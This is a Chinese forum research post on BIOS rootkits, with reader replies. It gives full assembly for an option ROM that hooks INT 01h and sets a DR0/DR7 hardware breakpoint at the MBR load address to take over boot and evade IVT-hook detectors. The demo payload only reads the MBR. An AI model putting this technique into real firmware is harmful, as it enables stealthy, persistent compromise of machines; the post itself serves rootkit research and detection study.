首页
社区
课程
招聘
[原创]BIOS Rootkit实现分析与检测技术研究系列之--设置硬件断点躲避IVT Hook检测程序
2008-12-18 18:29 22995

[原创]BIOS Rootkit实现分析与检测技术研究系列之--设置硬件断点躲避IVT Hook检测程序

2008-12-18 18:29
22995
BIOS Rootkit实现分析与检测技术研究系列之--设置硬件断点躲避IVT Hook检测程序

本节目录
1. 引言
2. 硬件断点
3. 使用硬件断点控制CPU流程
4. 小结

引言

      Kris Kaspersky在《Shellcoder 编程揭秘》一书中提到:“主BIOS代码通常加载位于0000:7C00h地址的boot/MBR扇区,并把控制权交给它。在这个地址设置硬件断点,当所有的设备初始化之后,立即触发它。”
    在这篇文章中,我们讨论另外一种躲避IVT Hook检测程序的方法。这里我们将通过设置硬件断点来实现。本文只进行技术研究,文中涉及到的技术有一定的危害性,请不要利用文中技术从事任何触犯法律法规的活动。否则一切后果由用户自行承担,与本文作者无关。

硬件断点

      先从张银奎先生的著作《软件调试》中,引用一下关于调试寄存器和硬件断点的相关概念。

      Intel从386开始,在调试方面引入了调试寄存器和硬件断点的概念。
    IA-32处理器定义了8个调试寄存器,分别为DR0~DR7。在32位模式下,它们都是32位的;在64位模式下,都是64位。
    DR4和DR5是保留的。其他6个寄存器为:4个32位的调试地址寄存器(DR0~DR3);1个32位的调试控制寄存器(DR7)和1个32位的调试状态寄存器(DR6)。通过以上寄存器可以最多设置4个断点,DR0~DR3用来指定断点的内存(线性地址)或I/O地址。DR7用来进一步定义断点的中断条件。DR6的作用是当调试事件发生时,向调试器(debugger)报告事件的详细信息,以供调试器判断发生的是何种事件。
    调试地址寄存器(DR0~DR3)用来指定断点的地址。对于设置在内存空间中的断点,这个地址应该是断点的线性地址而不是物理地址,因为CPU是在线性地址被翻译为物理地址之前来做断点匹配工作的。这意味着,在保护模式下,我们不能使用调试寄存器来针对一个物理内存地址设置断点。
    调试控制寄存器DR7,有24位是被分成4组分别与四个调试地址寄存器相对应。如L0、G0、R/W0和LEN0这6位是与DR0相对应的,L1、G1、R/W1和LEN1是与DR1相对应的,依此类推。就与DR0相对应的6位来说:
    R/W0为读写域,占第16、17位。其对应DR0提哦是地址寄存器,用来指定被监控地址的访问类型。00代表仅当执行对应地址的指令时中断;01代表仅当向对应地址写数据时中断;10对于386和486都不支持这种组合。11代表当向相应地址读写数据时都中断,但是从该地址读取指令除外。
    LEN0为长度域,占第18、19位。其对应DR0提哦是地址寄存器,用来指定要监控的区域长度。00代表1个字节长;01代表2个字节长;10代表8个字节长;11代表4字节长。
    L0为局部断点启用标志位,占第0位。其对应DR0提哦是地址寄存器,用来启用或禁止对应断点的局部匹配。如果该位设为1,当CPU在当前任务中检测到满足所定义的断点条件时便中断,并且自动清除次位。如果该位设为0,便禁用此断点。
    G0为全部断点启用位,占第1位。其对应DR0提哦是地址寄存器,用来全局启用和禁止对应的断点。如果该位设为1,当CPU在任何任务中检测到满足所定义的断点条件时都会中断;如果该位设为0,便禁止此断点。与L0不同,断点条件发生时,CPU不会清除此位。
    LE和GE位,LE占第8位,GE占第9位。从486开始的IA-32处理器都忽略这两位的设置。
    GD为通用保护设置位,占第13位。该位启用或者禁止对寄存器的保护。当设为1时,如果CPU检测到将修改调试寄存器(DR0~DR7)的指令时,CPU会在执行这条指令前产生一个调试异常。
对于R/W0读写域,通过对其设置,我们又可以指定断点的访问类型,如监控对全局变量或局部变量读写操作的数据访问断点;监控CPU执行指令的指令断点;监控I/O空间读写操作的I/O访问断点。当硬件断点触发时,系统会产生调试异常,并用int 01h号中断来进行默认处理。
      更多细节,可参考《软件调试》一书。

使用硬件断点控制CPU流程

      通过上述对硬件断点的简单介绍,我们可以发现,如果在BIOS启动运行时的关键内存地址进行硬件断点设置,同时修改int 01h中断(如使用Hook IVT的方法)指向我们的自定义程序,当断点触发时我们就有机会控制CPU流程,借此得到机会运行我们的BIOS Rootkit。《Shellcoder 编程揭秘》一书中,选择的内存地址为0000h:7c00h,即BIOS加载MBR以进行系统引导的默认地址。Kris Kaspersky提供了设置硬件断点的示例代码,如下:

;------------------------------------------------------------
MOV AX, CS                 ; Trap the INT 01h interrupt
XOR BX, BX
MOV DS, BX
MOV [BX], offset our_vx_code   ; Offset of the custom handler
MOV [BX+2], BX              ; in relation to segment 0000h
MOV DS, AX

MOV EAX, 00000000000000001100000010b
;          | |       | |      | |       | |__> Bit Lx can be set.
;          | |       | |      | |      
;          | |       | |      | |___________> Bits LE & GE. P6 ignores
;          | |       | |                    them. Therefore, their
;          | |       | |                    value is not critical.
;          | |       | |         
;          | |       | |__________________> Interrupt by execution.
;          | |               
;          | |__________________________> LEN Breakpoint length-1 byte

MOV EBX, 7C00h
;          ^^^^^^ - Linear physical buffer address,
;                 by which the boot sector will be loaded.

MOV DR7, EAX
MOV DR0, EBX
; ^ Load the values into debug registers. Starting from this point,
; any access to the breakpoint will generate INT 01h.
;------------------------------------------------------------
以上程序摘自《Shellcoder 编程揭秘》

    我们把上述程序进行实际测试(主要测试设置DR7调试控制寄存器的值),发现以上程序不能在地址0000h:7c00h处正常触发硬件断点。通过实验,我们改进了DR7触发条件,得到程序如下:

;--------------------------------------------------------------
;
; HardBp.asm
;
; by Jacky Peng 2008.8.8
;
; 设置硬件中断来取得CPU控制权
;
;--------------------------------------------------------------

;restore origin int 19h   
    old_int01h        equ        85h*4
   
   
;org head
    org        0

;isa rom head
    dw 0aa55h
    db 01h
   
;jmp begin of program
    jmp        begin
  
   
;---------------------------- 字符串常量 ------------------------------
msgShow                db        'Our own Int 01h procedure!',0  
;----------------------------------------------------------------------

;-------------------------------- 实用子程序 来自romos项目 ----------------------------

;----------------------------- 打印16进制(字)--------------------
whexw:       
        xchg        dh,dl               
        call        whexb               
        xchg        dh,dl               
        call        whexb               
        ret                       

;----------------------------- 打印16进制(字节)------------------
whexb:       
        push        ax               
        push        dx
        pushf
        mov        dh,dl
        and        dl,00fh        
        and        dh,0f0h        
        ror        dh,4               
        call        @whb1               
        mov        dh,dl
        call        @whb1               
        popf
        pop        dx
        pop        ax
        ret
@whb1:       
        cmp        dh,0ah       
        jc        @whb2               
        add        dh,7               
@whb2:       
        add        dh,'0'               
        mov        ah,0eh               
        mov        al,dh               
        int        10h               
        ret                       

;----------------------------- 打印字符串 ------------------------
write:       
        pusha                       
        pushf                       
        push        bx               
        call        wherexy        
        mov        ah,9               
        xor        cx,cx               
        xchg        cl,bh               
        and        cl,7fh               
@wri1:       
        mov        al,[cs:si]       
        cmp        al,0               
        je        @wri2               
        int        10h               
        inc        si               
        inc        dl               
        call        gotoxy               
        jmp        short @wri1       
@wri2:       
        pop        bx               
        cmp        bh,80h               
        js        @wri3               
        popf                       
        popa                       
wcrlf:       
        pusha                       
        pushf                       
        mov        ax,0e0dh       
        xor        bl,bl               
        int        10h               
        mov        al,0ah               
        int        10h               
@wri3:       
        popf                       
        popa                       
        ret                       
       
;----------------------------- 打印16进制地址(DX:CX) ------------------------       
whexptr:
        push        ax               
        push        bx               
        call        whexw               
        xchg        dx,cx               
        xor        bl,bl               
        mov        ax,0e3ah       
        int        10h               
        call        whexw               
        xchg        dx,cx               
        pop        bx               
        pop        ax
        ret                       

;----------------------------- 调整光标位置-----------------------
wherexy:
        push        ax               
        push        bx
        push        cx
        mov        ah,3               
        mov        bh,0               
        int        10h               
        pop        cx               
        pop        bx
        pop        ax
        ret                       

;----------------------------- 调整光标位置-----------------------
gotoxy:
        push        ax               
        push        bx               
        mov        ah,2               
        mov        bh,0               
        int        10h               
        pop        bx
        pop        ax
        ret                       
       

;----------------------------- 延迟函数 -----------------------       
delay:                               
        sti                       
        push        ax               
        push        es               
        pushf
        push        byte 0               
        pop        es               
        mov        al,[es:046ch]       
        add        ah,al               
@dly1:       
        mov        al,[es:046ch]       
        cmp        ah,al               
        jne        @dly1               
        popf
        pop        es               
        pop        ax               
        ret                       

;-------------------------------- 实用子程序完 来自romos项目 --------------------------

;-------------------------------- 自定义的int 01h中断例程 --------------------------
OurInt01h:
        pushf
        pusha
       
       
        ; 运行自定义程序,这里进行简单的字符串显示       
        call        wcrlf
        mov        si,msgShow
        mov        bx,810eh
        call        write
        mov        ah,20
        call        delay
       
        push         byte 0
        pop        es
        mov        ax,0201h
        mov        bx,0200h
        mov        cx,0001h
        mov        dx,0080h
        int        13h
       
        mov        dx,[es:0200h]
        mov        cx,[es:0204h]
        call        wcrlf
        call        whexptr
        call        wcrlf
       
quit:
        inc        al
        mov        [cnt],al
        pop        ax
       
       
        push        es
        push        si
        push        di
        push        cx
        push        dx
       
        push        byte 0
        pop        es
        mov        si,01h*4
        mov        di,old_int01h
       
        mov        cx,[es:di]
        mov        [es:si],cx
        mov        dx,[es:di+2]
        mov        [es:si+2],dx        ; 恢复int 01h原始中断向量
       
       
        pop        dx
        pop        cx
        pop        di
        pop        si
        pop        es
       
        popa
               
       
        mov        ax,[es:si+2]
        push        ax
        mov        ax,[es:si]
        push        ax
       
        iret        ; 恢复到int 01h原始地址运行
;-----------------------------------------------------------------------------------

;----------------------------- 主程序(Hook Int 01h程序来自romos项目)-----------------

begin:
;------------------------------------------------------------------------------
        pushf
        pusha
       
        mov        ax,0
        mov        es,ax
       
        mov        si,01h*4
        mov        di,old_int01h
       
        mov        cx,[es:si]
        mov        [es:di],cx
        mov        dx,[es:si+2]
        mov        [es:di+2],dx        ; 保存
       
        mov        [es:di-1],byte 0eah
        mov        [es:si],word OurInt01h
        mov        [es:si+2],cs        ; hook
       
               
        popa
        popf
       
        ;-----------------------------------------------------------------------------
        pushf
        pusha
       
        mov        ax,cs
        mov        ds,ax

;        mov        eax,00000000000000001100000010b       
        mov        eax,00000000000000110010001100000011b
;                             ||  |   ||      ||
;                             ||  |   ||      ||______> Bit Lx can be set.
;                             ||  |   ||      |_______> Bit Gx - any.
;                             ||  |   ||   
;                             ||  |   |-______________> Bits LE & GE. P6 ignores them. Therefor, their value is not critical.
;                             ||  |   
;                             ||  |___________________>
;                             ||
;                             |-______________________>
;
;
;

       
;        mov        eax,00000000000000110010001100000011b
       
        mov        ebx,7c00h

        mov        dr7,eax
        mov        dr0,ebx
       
       
        popa
        popf       
       
        retf       

;----------------------------- 主程序结束 --------------------------

times        512-($-$$) db 0
;------------------------------------------------------------

    程序通过设置硬件断点直接操纵磁盘,读取MBR数据。原来测试结果的相关的图片找了一下午都没找到,可能清理机子的时候弄丢了,抱歉。
    在测试过程中被Bochs欺骗了一次。这个程序本来在Bochs中正常运行,于是把它刷写进家里台式机的BIOS。结果,MBR是读出来了,机子也死了。没办法,拆了主板,花了30RMB抱去给维修店用编程器恢复了一次。问题可能出在这个程序的堆栈平衡存在问题。建议大家用Bochs调试,不要实际刷写进BIOS。当然,只读个MBR,确实也没多大意思。^_^
      这种方法验证以后,在xfocus上搜索到一篇也是利用硬件断点的文章。作者的目标是操纵windows操作系统,哈,异曲同工呀。

小结

    本文是这个系列的最后一篇。回顾这个系列,我们讨论了BIOS Rootkit实现的典型机制,并在此基础上提出了一些相应的检测思路。这些思路都是一些稚嫩的尝试,旨在抛砖引玉。现在,BIOS Rootkit实现的相关技术,也在不断向PCI设备、嵌入式设备等硬件蔓延。而本系列中提出的检测技术和方法,也许可以为这些领域的检测研究提供一些思路。感谢大家的支持。最后附上我毕业论文的完整技术实现(其实就是这个系列文章的汇总),希望和大家交流、共同提高。

再次感谢大家的支持

ppanger 2008.12.18.

[培训]《安卓高级研修班(网课)》月薪三万计划

上传的附件:
收藏
点赞7
打赏
分享
最新回复 (12)
雪    币: 364
活跃值: (152)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
weolar 10 2008-12-18 18:33
2
0
沙发,哈哈哈。
刚说完你就放出来了,速度真快啊……顶!
不过要是用真机器做试验风险不是一般的大,说不好就把板子搞坏
雪    币: 203
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jazzy 2008-12-18 18:58
3
0
呵呵 搞坏了 就再刷一遍。。。。bios编程器必须有哦。。
雪    币: 325
活跃值: (1510)
能力值: ( LV13,RANK:970 )
在线值:
发帖
回帖
粉丝
nbw 24 2008-12-18 19:45
4
0
膜拜下   ~
雪    币: 231
活跃值: (45)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
qdk 2008-12-18 21:03
5
0
有编程器还不行,得把flash rom吹下来,焊个座子上去,不然这么烫下来几次,flash rom的
焊盘很容易就掉了。

编程器有便宜的五六百就能买到。
雪    币: 231
活跃值: (45)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
qdk 2008-12-18 21:05
6
0
顶一下

bios里面有个简易的调试引擎,也是用硬件断点。
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
往往内 2008-12-18 22:04
7
0
膜拜一切nbw膜拜的对象
雪    币: 1185
活跃值: (907)
能力值: ( LV12,RANK:750 )
在线值:
发帖
回帖
粉丝
boywhp 12 2008-12-19 09:40
8
0
强烈膜拜一下,谢谢作者的辛勤劳动
雪    币: 255
活跃值: (49)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
ppanger 4 2008-12-19 14:54
9
0
原来猜测Bochs应该是使用硬件断点来进行BIOS调试的,一直苦于没有时间研究相关源代码,感谢分享。^_^
雪    币: 231
活跃值: (45)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
qdk 2008-12-19 19:27
10
0
网上流传的那个6.00pg版本的award bios就有,叫BREAK_POINT510
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
LaoWanTong 2009-1-8 15:45
11
0
真牛,太牛了!偶像
雪    币: 65
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
烛秋 2009-9-13 22:02
12
0
顶啊,先下载,慢慢看
雪    币: 50
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
szyangwu 2009-9-21 11:51
13
0
学习了,谢谢分享
游客
登录 | 注册 方可回帖
返回